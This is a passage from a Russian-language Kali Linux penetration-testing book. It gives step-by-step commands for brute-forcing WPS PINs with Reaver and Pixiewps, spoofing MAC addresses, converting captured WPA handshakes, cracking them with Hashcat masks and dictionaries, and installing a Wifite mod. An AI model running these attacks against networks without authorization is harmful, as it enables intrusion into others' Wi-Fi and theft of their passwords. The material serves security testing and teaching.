может быть задействована для тех ТД, которым это нужно:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C --eap-terminate

По материалам сайта WebWare.biz

138

Тестирование на проникновение с помощью Kali Linux 2.0

Когда случаются 10 последовательных неожиданных ошибок WPS, будет отображено
сообщение предупреждения. Поскольку это может быть знаком того, что ТД
ограничивает скорость попыток пина или просто перегружена, то на этот случай может
быть задан период сна, который программа будет бездействовать при появлении этого
сообщения предупреждения:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C --fail-wait=360

Ускоряем атаку
По умолчанию, Reaver имеет задержку в 1 секунду между попытками пина. Вы можете
отключить эту задержку добавив «-d 0» к командной строке, но некоторые ТД не любят
этого:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C -d 0

Другая опция, которая может ускорить атаку, это –dh-small. Эта опция инструктирует
Reaver использовать маленькие секретные номера Диффи-Хеллмана, чтобы уменьшить
вычислительную нагрузку на целевую ТД:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C --dh-small

Reaver, атака Pixiewps и ключ -K 1
Не так давно открытая атака Pixiewps позволяет взламывать некоторые модели
роутеров за считанные секунды. Модификация форка Reaver — t6x — для
использования атаки Pixie Dust включена в Kali Linux. При этом она заменяет
оригинальную версию. Т.е. запускать её нужно точно также, как и устаревший Reaver.
Единственным её отличием является поддержка атаки Pixiewps и нескольких новых
ключей. Одним из этих ключей является -K 1. Если задать этот ключ, то Reaver
попытается осуществить в отношении выбранной ТД атаку Pixiewps. Т.е. теперь
команда будет выглядеть так:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C -K 1

Э
той модификации посвящена следующая глава «Модификация форка Reaver — t6x —
для использования атаки Pixie Dust».
Ту статью стоит прочитать хотя бы по следующим причинам:


там дан перевод всей справки Reaver по всем ключам;



там рассказано о трёх новых ключах: -K // —pixie-dust в reaver; -H // —pixiedustlog в reaver; -P // —pixiedust-loop в reaver

По материалам сайта WebWare.biz

139

Тестирование на проникновение с помощью Kali Linux 2.0

Подмена MAC
В некоторых случаях вам может хотеть/нужно подменить ваш MAC адрес. Reaver
поддерживает подмену MAC мадрес с опцией –mac, но вам нужно убедиться, что MAC
адрес корректно подменён, т. к. есть нюансы.
Изменение MAC адреса виртуального интерфейса режима монитора (теперь
называемого wlan0mon) НЕ БУДЕТ РАБОТАТЬ. Вы должны изменить MAC адрес
физического интерфейса вашей беспроводной карты. Например:
1|

# ifconfig wlan0 down

2|

# ifconfig wlan0 hw ether 04:DE:AD:BE:EF:45

3|

# ifconfig wlan0 up

4|

# airmon-ng start wlan0

5|

# reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C -vv --mac=04:DE:AD:BE:EF:45

Глава 21. Модификация форка Reaver — t6x — для
использования атаки Pixie Dust
When poor design meets poor implementation.
Когда убогий дизайн встречается с убогой реализацией.
(это не про форки Reaver, это про WPS)
Обновление: Пользователям Kali Linux не нужно ставить эти программы вручную.
Теперь всё это есть в системе "из коробки". Подробности читайте здесь.
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры

Что такое Reaver
Reaver предназначен для подборки пина WPS (Wifi Protected Setup) методом
перебора. Reaver создан для надёжной и практичной атаки на WPS, он прошёл
тестирование на большом количестве точек доступа с разными реализациями WPS. В
среднем, Reaver раскрывает пароль WPA/WPA2 в виде простого текста целевой точки
доступа (ТД) за 4-10 часов, в зависимости от ТД. На практике, ему обычно нужна
половина этого времени на предположение пина WPS и разгадки пароля.
Веб-сайт оригинальной версии — https://code.google.com/p/reaver-wps/. Там ещё есть
Pro версия.

Форки Reaver
Т.к. оригинальная версия Reaver не обновлялась с января 2012 года, то был сделан
форк. Сайт форка — https://code.google.com/p/reaver-wps-fork/. Последние изменения
в форке датируются январём 2014 года.
Жизнь не стоит на месте. И совсем недавно (в апреле 2015 года) была официально
выпущена модифицированная версия форка Reaver. Сайт этой модификации —
https://github.com/t6x/reaver-wps-fork-t6x. Главное её отличие в том, что она может
использовать атаку Pixie Dust для нахождения верного пина WPS. Эта атака применима
ко многим точкам доступа Ralink, Broadcom и Realtek.
По материалам сайта WebWare.biz

140

Тестирование на проникновение с помощью Kali Linux 2.0

Атака, используемая для этой версии, разработана Wiire.
Для установки модифицированной версии Reaver, нам нужно установить Pixiewps. Это
нужно сделать всем, кроме пользователей Kali Linux: расслабьтесь, ребята, у нас уже
всё есть.

Установка Pixiewps на Kali Linux
Всё необходимые пакеты уже скопилированы и доступны в репозиториях. Для их
установки достаточно набрать:
1|

apt-get libpcap-dev pixiewps

Установка Pixiewps на Debian, Mint, Ubuntu
Ставим зависимости Pixiewps:
1|

sudo apt-get install libssl-dev

Переходим на официальный сайт.
Скачиваем zip-архив — для этого нажимаем кнопку Download ZIP.
1|

cd Downloads

2|

unzip pixiewps-master.zip

3|

cd pixiewps-master/src

4|

make

5|

gcc -std=c99 -o pixiewps pixiewps.c random_r.c -lssl -lcrypto

6|

make install

Вывод после последней команды:
1|

install -D pixiewps /usr/local/bin/pixiewps

2|

install -m 755 pixiewps /usr/local/bin

Установка модификации форка Reaver — t6x на Kali Linux
Ещё раз повторю, у пользователей Kali Linux эта версия, а также все зависимости для
этой программы идут "из коробки". Им не нужно ничего дополнительно устанавливать.

Установка модификации форка Reaver — t6x на Debian, Mint, Ubuntu
Установка необходимых библиотек и инструментов
Библиотеки для Reaver:
1|

apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps

Если пакет Pixiewps by Wiire не найден, то вернитесь к предыдущему шагу, где описано
как его установить.

По материалам сайта WebWare.biz

141

Тестирование на проникновение с помощью Kali Linux 2.0

Компиляция и установка Reaver
Загрузка:
1|

git clone https://github.com/t6x/reaver-wps-fork-t6x

Или так:
1|

wget https://github.com/t6x/reaver-wps-fork-t6x/archive/master.zip && unzip master.zip

Сборка:
1|

cd reaver-wps-fork-t6x*/

2|

cd src/

3|

./configure

4|

make

Установка:
1|

sudo make install

Использование Reaver
Использованию Reaver будет посвящена отдельная статья, а пока только несколько
основных моментов.
Запускается модифицированная версия Reaver точно также, как и форк. Чтобы
убедиться, что модификация у вас успешно запустилась, наберите в командной строке:
1|

reaver -v

2|

Reaver v1.4 WiFi Protected Setup Attack Tool

3|

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

Кроме версии, появится также и информация о модификации:
Обязательные аргументы:
1|

-i, --interface=

Имя сетевого интерфейса для использования

2|

-b, --bssid=

BSSID точки доступа

Опциональные аргументы:
1|

-m, --mac=

MAC хостовой системы

2|

-e, --essid=

ESSID целевой ТД

3|

-c, --channel=

Установить канал
(подразумевает -f)

4|

-o, --out-file=

Установить вывод в лог-файл [stdout]

5|

-s, --session=

Восстановить файл предыдущей сессии

6|

-C, --exec=

Выполнить данную команду после успешного
подбора пина

7|

-D, --daemonize

Перевод reaver в режим демона

8|

-a, --auto

Автоматически определить лучшие продвинутые
опции для целевой ТД

По материалам сайта WebWare.biz

802.11

для

интерфейса

142

Тестирование на проникновение с помощью Kali Linux 2.0

9|

-f, --fixed

Отключить прыгание по каналам

10|

-5, --5ghz

Использовать каналы 5GHz 802.11

11|

-v, --verbose

Отображать некритические предупреждения (-vv
чтобы увидеть больше)

12|

-q, --quiet

Отображать только критические предупреждения

13|

-K --pixie-dust=

[1] Запускает pixiewps с PKE, PKR, E-Hash1, E-Hash2,
E-Nonce и Authkey (Ralink, Broadcom, Realtek)

14|

-Z, --no-auto-pass

НЕ запускать reaver для автоматического
получения пароля WPA, если атака pixiewps
прошла успешно

15|

-h, --help

Показать справку

Продвинутые опции:
1|

-p, --pin=

Использовать заданный 4 или 8 цифровой WPS пин

2|

-d, --delay=

Установить задержку между попытками пина [1]

3|

-l, --lock-delay=

Установить
время
ожидания,
если
заблокировала попытки вода пина [60]

4|

-g, --max-attempts=

Выйти после числа попыток пина

5|

-x, --fail-wait=

Установить время для
неожиданных неудач [0]

6|

-r, --recurring-delay=

Делать паузу на y секунд каждые x попыток пина

7|

-t, --timeout=

Установить пиреод таймаута получения [5]

8|

-T, --m57-timeout=

Установить период таймаута M5/M7 [0.20]

9|

-A, --no-associate

Не связываться с ТД (связь должна быть сделана
другим приложением)

10|

-N, --no-nacks

Не отправлять сообщения NACK когда получены
пакеты о неисправности

11|

-S, --dh-small

Использовать малые DH ключи для ускорения
скорости взлома

12|

-L, --ignore-locks

Игнорировать
заблокированные
полученные от целевой ТД

13|

-E, --eap-terminate

Завершать каждую сессию WPS пакетом EAP FAIL

14|

-n, --nack

Целевая ТД всегда шлёт пакеты NACK [Auto]

15|

-w, --win7

Мимикрировать под Windows 7 registrar [False]

16|

-X, --exhaustive

Установить исчерпывающий режим с начала сессии
[False]

17|

-1, --p1-index

Установить начальный индекс массива для первой
половины пина [False]

18|

-2, --p2-index

Установить начальный индекс массива для второй
половины пина [False]

19|

-P, --pixiedust-loop

Установка в режим PixieLoop (не отправляет M4 и
делает петлю на M3) [False]

По материалам сайта WebWare.biz

паузы

ТД

после

10

состояния,

143

Тестирование на проникновение с помощью Kali Linux 2.0

20|

-W, --generate-pin

Генерация дефолтных пинов от команды devttys0
[1] Belkin [2] D-Link

21|

-H, --pixiedust-log

Включить
логирование
завершённых PixieHashes

последовательностей

Пример использования:
1|

reaver -i mon0 -b 00:AA:BB:11:22:33 -vv -K 1

Опция -K // —pixie-dust в reaver
Опция -K 1 запускает pixiewps с PKE, PKR, E-Hash1, E-Hash2, E-Nonce и Authkey. pixiewps
будет пытаться атаковать Ralink, Broadcom и Realtek.
*Особая заметка: если вы атакуете ТД Realtek, НЕ используйте маленькие ключи DH (-S)
Опция -H // —pixiedust-log в reaver
Опция -H — это переключатель включения логирования PixieHashes, сохранённые хеши
будут размещены в директории запуска. Эта опция требует включения хотя бы -vvv, и,
соответственно, работает с -K 1 & -P.
Имена сохранённых файлов соответствуют bssid (MAC) цели и имеют расширение .pixie.
Внутри этих сохранённых логов вы найдёте все требуемые хеши PixieDust, а также
готовые для копипасты полные команды для использованиях их в программе pixiewps.
Также есть возможность выполнить их. Просто закиньте этот файл в ваш любимый
шелл и выполните его (может понадобиться chmod +x ).
Оция -P // —pixiedust-loop в reaver
Опция (-P) в reaver переводит reaver в циклический режим, который не
распространяется на сообщения M4 протокола WPS, которые, надеемся, избегают
блокировки. Это распространяется ТОЛЬКО на сборы PixieHash, который используются с
pixiewps, НЕ с «онлайн» брутфорсингом пинов.
Эта опция была сделана в целях:


Сбора повторяющихся хешей для дальнейших сравнений и анализов / изучения
новых уязвимостей чипсетов, роутеров и т.д.



Атак чувствительных ко времени, где сбор хешей продолжается постоянно пока
ваши временные рамки не закончатся.



Для целей скриптинга тех, кто хочет использовать возможный способ
предотвращения блокировки PixieHash, ведущей сбор для вашего
пользовательского сценария.

Использование Wash
Wash v1.5.2 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
mod by t6_x & DataHead & Soxrok2212
Обязательные аргументы:
1|

-i, --interface=

Интерфейс для захвата пакетов

2|

-f, --file [FILE1 FILE2 FILE3 ...]

Читать пакеты из захваченных файлов

По материалам сайта WebWare.biz

144

Тестирование на проникновение с помощью Kali Linux 2.0

Опциональные аргументы:
1|

-c, --channel=

Канал для прослушивания [auto]

2|

-o, --out-file=

Записать данные в файл

3|

-n, --probes=

Максимальное количество попыток отправки
каждоый ТД в режиме сканирования [15]

4|

-D, --daemonize

Демонизация wash

5|

-C, --ignore-fcs

Игнорировать ошибки проверки целостности фреймов

6|

-5, --5ghz

Использовать каналы 5GHz 802.11

7|

-s, --scan

Использовать режим сканирования

8|

-u, --survey

Использовать режим опроса [default]

9|

-P, --file-output-piped

Позволяет стандартному выводу Wash передаваться
другим программам. Пример. wash x|y|z...

10|

-g, --get-chipset

Передача вывода и запуск reaver для определения
чипсета

11|

-h, --help

Показать справку

к

Пример:
1|

wash -i mon0

Опция -g // —get-chipset
Опция -g программы wash автоматически запускает reaver для получения данных
чипсета.
Если ТД не отвечает ему быстро, эта опция будет замедленна для отображения данных,
т. к. reaver будет запущен пока не получит данные или пока вы не достигните лимита
таймаута (30 секунд).

Глава 22. Взлом паролей WPA2/WPA с помощью Hashcat в Kali
Linux (атака перебором Wi-Fi паролей по маске)
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры
Недавно просматривал темы на форуме Античат. При беглом осмотре самой живой
мне показалась одна тема — тема о взломе Wi-Fi сетей. Причём довольно часто там
попадаются сообщения с просьбами сгенерировать пароли по маске. Кто-то это делает,
потом запрашивающий выкачивает эту базу. Базы могут быть и в 20 Гб… Впоследствии
эта сгенерированная база паролей используется для перебора (взлома).
По моему мнению, это очень точный пример мартышкиного труда, вызванного
незнанием довольно простых вещей, давным-давно реализованных (и не только в
Hashcat). Для ликвидации этого пробела в знаниях и предназначена эта статья. За
основу взята статья с сайта Блэкмора. Но она: 1) дополнена; 2) исправлена (судя по
всему, Блэкмор не смог осилить пользовательские наборы символов — я в своей статье
этот пробел устраняю). Лучше него никто не может растянуть на семь листов то, что
можно описать в нескольких строчках команд. ))
По материалам сайта WebWare.biz

145

Тестирование на проникновение с помощью Kali Linux 2.0

Ах да, если вам всё-таки нужно сгененировать пароли по маске, то это может сделать
команда maskprocessor.
Hashcat (cudaHashcat или oclHashcat) на Kali Linux дают возможность расшифровать
(взломать) пароль WPA2 WPA. Hashcat атакует файлы рукопожатий — .cap файлы. Есть
только одно ограничение — нужно конвертировать файл .cap в файл формата .hccap.
Но это не трудно.

Hashcat
Hashcat, как скромно замечают сами авторы, это самый быстрый инструмент по
восстановлению паролей, использующий графический процессор. Программа
бесплатна, хотя она содержит проприетарную кодовую базу. Доступны версии для
Linux, OSX и Windows, есть варианты для использования центрального
вычислительного процессора и для использования графического процессора. Hashcat в
настоящее время поддерживает огромное количество алгоритмов хеширования,
включая Microsoft LM Hashes, MD4, MD5, семейство SHA, форматы Unix Crypt, MySQL,
Cisco PIX и многие другие (их там сотни).
Hashcat популярна, т. к. много раз попадала с сводки новостей благодаря оптимизации
и недостаткам в алгоритмах, которые были открыты её создателем, а затем
эксплуатировались в дальнейших выпусках hashcat (например, недостаток в схеме
хеширования 1Password).

Типы атак Hashcat
Hashcat предлагает множество моделей атак для получения эффективного и
комплексного покрытия пространства хешей. Есть следующий режимы:


Атака брут-форсом (перебором)



Комбинаторная атака



Атака по словарю



Атака по отпечаткам



Гибридная атака



Атака по маске



Перестановочная атака



Атака основанная на правиле



Табличная атака



Атака с переключением раскладки

Традиционную атаку перебором можно считать устаревшей, и команда разработчиков
Hashcat рекомендует атаку по маске в качестве полного заменителя.

Варианты Hashcat
Hashcat поставляется в двух вариантах:


Hashcat – Инструмент по восстановлению использующий центральный
процессор



oclHashcat – Инструмент использующий графический процессор

По материалам сайта WebWare.biz

146

Тестирование на проникновение с помощью Kali Linux 2.0

Многие алгоритмы, поддерживаемые Hashcat, могут быть взломаны в более короткое
время, при использовании хорошо документированных возможностей GPU. Для этого
и предназначена программа oclHashcat, при её использовании достигается
значительный прирост в таких алгоритмах как MD5, SHA1 и других. Тем не менее, не
все алгоритмы могут быть ускорены использованием GPU. Bcrypt — хороший этому
пример. Из-за таких факторов как ветвление зависимостей данных, сериализация и
память (упомянуты только некоторые), oclHashcat не является всеобъемлющей
заменой для Hashcat.
Hashcat доступна для Linux, OSX и Windows. oclHashcat доступна для Linux и Windows
из-за неправильной реализации OpenCL на OSX.

Мои настройки
На машине с Kali Linux 1.1.0a у меня графическая карта Radeon HD 7870M Series, и я
буду использовать словарь rockyou в большинстве упражнений. В этой заметке я
покажу пошаговый взлом паролей WPA2 WPA с Hashcat (файлов рукопожатий — .capфайлов) с помощью cudaHashcat или oclHashcat или Hashcat на Kali Linux.
Я буду использовать команду oclHashcat, т. к. я использую AMD GPU. Если вы
используете NVIDIA GPU, то для вас cudahashcat.
Для включения взлома видеокартой, вам нужно установить или CUDA для видеокарты
NVIDIA или fglrx для AMD. Как это сделать было рассказано в предыдущих постах.
Пользователи NVIDIA:


Установите драйвер NVIDIA на Kali Linux – NVIDIA ускоренный графический
драйвер Linux



Установите модуль ядра драйвера NVIDIA CUDA и Pyrit на Kali Linux – CUDA, Pyrit
и Cpyrit-cuda

Пользователи AMD:


Установите проприетарный fglrx драйвер AMD ATI fglrx на Kali Linux



Установите AMD APP SDK в Kali Linux



Установите CAL++ в Kali Linux



Установите Pyrit



Зачем использовать Hashcat для взлома файлов рукопожатий WPA WPA2
Pyrit самый быстрый, когда нам нужно взломать файлы рукопожатий WPA2 WPA. Так
почему мы используем Hashcat для взлома файлов рукопожатий WPA2 WPA?
Потому что мы можем?
Потому что Hashcat позволяет нам настроить атаку с заданными правилами и
масками. Чтобы было понятнее, что имеется ввиду, рассмотрим конкретные примеры.
Hashcat позволяет нам использовать следующие встроенные наборы символов для
атаки на файл рукопожатия WPA2 WPA.

По материалам сайта WebWare.biz

147

Тестирование на проникновение с помощью Kali Linux 2.0

Встроенные наборы символов
1|

?l = abcdefghijklmnopqrstuvwxyz

2|

?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ

3|

?d = 0123456789

4|

?s = !”#$%&'()*+,-./:;⇔?@[\]^_`{|}~

5|

?a = ?l?u?d?s

6|

?b = 0x00 - 0xff

Цифровые пароли
Допустим, ваш пароль 12345678. Вы можете использовать пользовательскую МАСКУ
вроде такой ?d?d?d?d?d?d?d?d
Это означает, что мы пробуем сломать пароль из восьми цифр вроде 12345678 или
23456789 или 01567891. Уверен, вы уловили смысл.

Буквенный пароль — все заглавные буквы
Если ваш пароль набран капсом, вроде ABCFEFGH или LKHJHIOP или ZBTGYHQS и т. д.,
тогда вы можете использовать следующую МАСКУ:
?u?u?u?u?u?u?u?u
Она будет взламывать все пароли из восьми заглавных букв.

Буквенный пароль — все строчные буквы
Если ваш пароль набран строчными буквами, вроде: abcdefgh или dfghpoiu или
bnmiopty и т. д., тогда вы можете использовать следующую МАСКУ:
?l?l?l?l?l?l?l?l
Она будет взламывать все пароли из восьми строчных букв. Думаю, и это тоже
понятно.

Пароль — буквы нижнего регистра и цифры
Если вы знаете, что пароль наподобие a1b2c3d4 или p9o8i7u6 или n4j2k5l6 и т. д.
(буквы и цифры чередуются), тогда вы можете использовать следующую МАСКУ:
?l?d?l?d?l?d?l?d

Пароль — заглавные буквы и цифры
Если вы знаете, что пароль вроде такого A1B2C3D4 или P9O8I7U6 или N4J2K5L6 и т. д.
(буквы и цифры чередуются), тогда вы можете использовать следующую МАСКУ:
?u?d?u?d?u?d?u?d

Пароли — смесь из заглавных, строчных букв, цифр и специальных
символов
Если ваш пароль исключительно случайный, тогда вы можете просто использовать
МАСКУ вроде этой:
По материалам сайта WebWare.biz

148

Тестирование на проникновение с помощью Kali Linux 2.0

?a?a?a?a?a?a?a?a
Обратите внимание: ?a символизирует что угодно… Надеюсь, идея понятна.
Чем меньше известно о пароле, тем дольше срок его подбора. Использование атаки по
словарю может значительно увеличить шанс успеха.

Пароль — когда вы знаете некоторые символы
Если вы каким-то образом знаете несколько символов в пароле, то дела будут
двигаться намного быстрее. Каждая известная буква сохранит огромное количество
компьютерного времени. МАСКИ можно использовать совместно. Давайте
предположим, что нам нужно подобрать пароль из восьми символов, который
начинается с abc, не содержит каких-либо специальных символов. Тогда вы можете
создать МАСКИ вроде таких:
abc?l?l?l?l?l
abc?u?u?u?u?u
abc?d?d?d?d?d
abc?l?u??d??d?l
abc?d?d?l?u?l
Кто-то посчитал, что получится 125 комбинаций для такого случая. Их использование
значительно сократит время на подбор пароля. В этом и есть настоящая сила
cudaHashcat или oclHashcat или Hashcat на Kali Linux для взлома WPA2 WPA паролей.
Но не нужно бояться запутаться в этих масках, в нашем распоряжении такой мощный
инструмент как пользовательские наборы символов. О них чуть ниже.
Вы можете ещё более ускорить процесс, если вы знаете, что лицо, чей пароль вы
разгадываете, использует только ЗАГЛАВНЫЕ буквы в начале пароля, несколько
строчных букв и заканчивает цифрами.
Например так: Abcde123
Ваша маска будет:
?u?l?l?l?l?d?d?d
Взлом произойдёт значительно быстрее.

Пользовательские наборы символов
Все версии Hashcat имеют четыре параметра командной строки для настройки
пользовательских наборов символов.
Синтаксис этих параметров следующий:
1|

--custom-charset1=CS

2|

--custom-charset2=CS

3|

--custom-charset3=CS

4|

--custom-charset4=CS

Где CS — это и есть пользовательский набор символов. CS можно задавать как
перебором символов, встроенными наборами символов и т. д. Чуть ниже будут
примеры, которые помогут разобраться, если не совсем понятно.
По материалам сайта WebWare.biz

149

Тестирование на проникновение с помощью Kali Linux 2.0

У этих параметров командной строки есть и короткие аналоги: -1, -2, -3 и -4. Их можно
использовать прямо в командной строке и в так называемых файлах пользовательских
наборов символов hashcat (обычный текстовый файл с расширением .hcchr, который
содержит символы/цифры, которые будут использоваться в первой строке файла).
Посмотрите эти примеры:

Примеры
Каждая следующая команда определяет одинаковый пользовательский набор
символов,
который
состоит
из
следующих
символов
“abcdefghijklmnopqrstuvwxyz0123456789” (aka “lalpha-numeric”):
1|

-1 abcdefghijklmnopqrstuvwxyz0123456789

2|

-1 abcdefghijklmnopqrstuvwxyz?d

3|

-1 ?l0123456789

4|

-1 ?l?d

5|

-1 loweralpha_numeric.hcchr # это файл, который содержит все цифры + символы
(abcdefghijklmnopqrstuvwxyz0123456789)

Следующая команда задаёт набор символов, в который вохдят “0123456789abcdef”:
-1 ?dabcdef
Следующая команда задаёт полный набор 7-битных символов ascii charset (aka
“mixalpha-numeric-all-space”):
-1 ?l?d?s?u
Следующая команда устанавливает в качестве первого пользовательского набора (-1)
символы, специфичные для русского языка:
-1 charsets/special/Russian/ru_ISO-8859-5-special.hcchr
На Kali Linux посмотреть все доступные файлы пользовательских наборов символов
.hcchr для разных языков можно командами:
1|

tree /usr/share/maskprocessor/charsets/

Или так:
1|

tree /usr/share/hashcat/charsets/

Помните нашу задачу: пароль начинается на abc, в общей сложности имеет 8 символов,
причём в нём точно нет специальных символов. Теперь вместо составления большого
количества масок, можно использовать следующий пользовательский набор:
Задаём пользовательский набор, который включает все большие и маленькие буквы, а
также цифры:
-1 ?l?d?u
Подставляем наш пользовательский набор в МАСКУ:
abc?1?1?1?1?1
Не знаю, хорошо ли вам видно, но там используются цифра 1. Буква l не используется.
Ну хватит про МАСКи. Захватывать файлы рукопожатий (хэндшейки) можно разными
программами. Об одном из методов было, например, рассказано в предыдущей
По материалам сайта WebWare.biz

150

Тестирование на проникновение с помощью Kali Linux 2.0

инструкции о взломе Wifi WPA2 WPA паролей с использованием pyrit и cowpatty в Kali
Linux. Будем считать, что файлы рукопожатий у вас уже есть или вы знаете как их
раздобыть.

Очистка ваших файлов .cap программой wpaclean
Следующим шагом мы конвертируем файл .cap в формат, который будет понятен
Hashcat (cudaHashcat или oclHashcat).
Для ручной конвертации .cap используйте следующую команду в Kali Linux.
1|

wpaclean

Обратите внимание, что, вопреки логике, сначала идёт выходной файл, а потом
входной . Казалось бы, логичнее было . Обратите
на это внимание, чтобы не терять время на выяснение проблемы.
В моём случае команда выглядит так:
1|

wpaclean hs/out.cap hs/Narasu_3E-83-E7-E9-2B-8D.cap

Конвертация файлов .cap в формат .hccap
Нам нужно конвертировать этот файл в формат, понятный Hashcat (cudaHashcat или
oclHashcat).
Для его конвертирования в формат .hccap с помощью “aircrack-ng” нам нужно
использовать опцию -J
1|

aircrack-ng -J

Обратите внимание -J это заглавная J а не маленькая j.
В моём случае команда следующая:
1|

aircrack-ng hs/out.cap -J hs/out

Взлом WPA2 WPA рукопожатий с Hashcat
Hashcat (cudaHashcat или oclHashcat) очень гибкие. Я охвачу только два наиболее
общих и базовых сценария:


Атака по словарю



Атака по маске

Атака по словарю
Раздобудьте какие-нибудь словари, вроде Rockyou.Прочитайте эту заметку для
детальных инструкций о том как получить файл словаря, отсортировать/очистить и т.д.
Для начала нам нужно узнать, какой режим использовать для файла хендшейка WPA2
WPA. Этот вопрос раскрыт в полной мере в статье «Взлом хешей паролей MD5, phpBB,
MySQL и SHA1 с помощью Hashcat в Kali Linux». Здесь только краткое изложение:
1|

hashcat --help | grep WPA

Т.е. это 2500.

По материалам сайта WebWare.biz

151

Тестирование на проникновение с помощью Kali Linux 2.0

Мы используем следующую команду для старта процесса взлома:
1|

hashcat -m 2500 /root/hs/out.hccap /root/rockyou.txt

Команда может отличаться. Например, я использую следующий вариант:
1|

oclHashcat --force -m 2500 /root/hs/out.hccap /root/rockyou.txt

Поскольку я установил oclHashcat.
У тех, кто установил cudaHashcat, команда выглядить так:
1|

cudaHashcat -m 2500 /root/hs/out.hccap /root/rockyou.txt

У меня всё получилось быстро, поскольку пароль для беспроводной ТД был простым.
Это заняло секунды. В зависимости от размера словаря, процесс может занять
довольно много времени.
Не забываем, что если использовать атаку по словарю, то Pyrit будет намного-намного
быстрее чем любая из троицы cudaHashcat или oclHashcat или Hashcat.
Про атаку по словарю уже рассказано, не будем повторяться. Если пропустили, то
читайте «Взлом хешей паролей MD5, phpBB, MySQL и SHA1 с помощью Hashcat в Kali
Linux» там тема атаки по словарю раскрыта в полной мере.

Атака методом перебора — брутфорс
Теперь главная часть этой инструкции. Использование атаки методом перебора по
МАСКе.
Для взлома файла рукопожатия WPA WPA2 с Hashcat (cudaHashcat или oclHashcat)
используйте следующую команду:
1|

hashcat -m 2500 -a 3 capture.hccap ?d?d?d?d?d?d?d?d



Где -m = 2500 означает атаку на файл рукопожатия WPA2 WPA.



-a = 3 означает использование брутфорса (она совместима с атакой по маске).



capture.hccap = Наш конфертированный файл .cap. Мы сгенерировали его
программами wpaclean и aircrack-ng.



?d?d?d?d?d?d?d?d = Это наша маска, где d = цифра. Это означает, что пароль
полностью состоит из цифр, например, 78964352 или 12345678 и т.д.

Я сделал маску под свою задачу, чтобы ускорить процесс. Вы можете создавать ваши
собственные маски подобным образом, как объяснено выше. Если планируется
использовать МАСКу многократно, то своё драгоценное творение можно сохранить в
файл. Назовём его, к примеру webware-1.hcmask. Поместить его можно к остальным
маскам.
/usr/share/oclhashcat/masks/webware-1.hcmask.
Кстати, посмотреть дефолтныей файлы МАСОК, поставляемых с oclHashcat можно
здесь:
1|

ls /usr/share/oclhashcat/masks/

По материалам сайта WebWare.biz

152

Тестирование на проникновение с помощью Kali Linux 2.0

Когда я вновь захочу использовать созданную мной маску, то команда будет примерно
следующая:
1|

cudahashcat -m 2500 -a 3 /root/hs/out.hccap /usr/share/oclhashcat/masks/webware1.hcmask

Пример файлов .hcmask file
Вы можете проверить содержимое файла образца .hcmask следующей командой:
1|

tail -10 /usr/share/oclhashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask

Эти файлы образцов можно использовать в оригинальном виде с Hashcat (cudaHashcat
или oclHashcat) или отредактировать под свои нужды.

Расположение взломанных паролей
Hashcat (cudaHashcat или oclHashcat) сохраняет все раскрытые пароли в файл. Вы
найдёте его в той же рабочей директории, где вы запустили Hashcat. В моём случае я
запускал все команды из моей домашней директории, т. е. в /root
1|

cat hashcat.pot

Заключение
Мы рассмотрели все основные приёмы перебора паролей по маске. Тем не менее,
отсылаю вас к официальному сайту hashcat.net, к его вики и инструкциям. Там вы
найдёте дополнительную информацию.
Также необходимо помнить, что существуют ещё и другие типы атак: атака по
отпечаткам, гибридная атака, перестановочная атака, атака основанная на правиле,
табличная атака, атака с переключением раскладки.
Информацию о них вы найдёте на официальном сайте (на английском языке), либо в
инструкциях на WebWare.biz. Заходите почаще, чтобы не пропустить ничего
интересного!

Глава 23. Мод Wifite с поддержкой Pixiewps
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры
Вся неделя проходит под знаком Pixiewps. Краткая хронология:
1. открытие уязвимости pixie dust attack
2. написание библиотеки Pixiewps от Wiire
3. добавлена поддержка Pixiewps в Reaver (t6x)
4. Reaver (t6x) с поддержкой Pixiewps и сама Pixiewps добавлены в официальные
репозитории Kali Linux
5. Появился мод Wifite с поддержкой Pixiewps
По материалам сайта WebWare.biz

153

Тестирование на проникновение с помощью Kali Linux 2.0

Некоторые подробности, а что же это такое — Pixiewps, вы можете прочитать в
предыдущих новостях здесь и здесь.
Думаю, следующим шагом станет добавление мода Wifite с поддержкой Pixiewps в
официальные репозитории Kali Linux. Но пока этого не произошло, будем на полшага
впереди остальных. Сделаем это сами.
Официальный сайт мода https://github.com/aanarchyy/wifite-mod-pixiewps
Можно зайти, скачать нужный файл (wifite-ng), задать ему соответствующие
разрешения и запускать из графического интерфейса. Я покажу как это сделать из
командной строки (удобно, если у вас доступ к Kali Linux по SSH, да и вообще, умение
пользоваться командной строкой здорово увеличивает производительность. Нам
нужно выполнить всего две команды. Первой мы копируем файл в каталог, где лежат
остальные программы:
1|

wget --output-document=/usr/bin/wifite-ng
https://raw.githubusercontent.com/aanarchyy/wifite-mod-pixiewps/master/wifite-ng

Второй командой мы даём файлу разрешения на исполнение:
1|

chmod +x /usr/bin/wifite-ng

Всё готово!
Запускать так:
1|

wifite-ng

Добавленные ключи
1|
2|
3|
4|

-pto
-ponly
-pnopsk
-paddto

Настраивается время для атаки pixiewps, по умолчанию 660
Использовать только pixiewps и вплоть до M3
Не пропускать полученный пин через reaver
Добавить n секунд до таймаута для каждого поиска хеша, по
умолчанию 30

5|
6|

-update
-endless

Теперь обновится до этого форма вместо оригинального wifite
Будет включён цикл на цели до тех пор, пока не отключён вручную

Требуемые инструменты
Только для тех у кого НЕ Kali Linux. У пользователей Kali всё уже есть.
Вы должны установить Pixiewps от Wiire
и
Вы должны установить reaver-wps-fork-t6x от t6x

Будет реализовано в дальнейшем


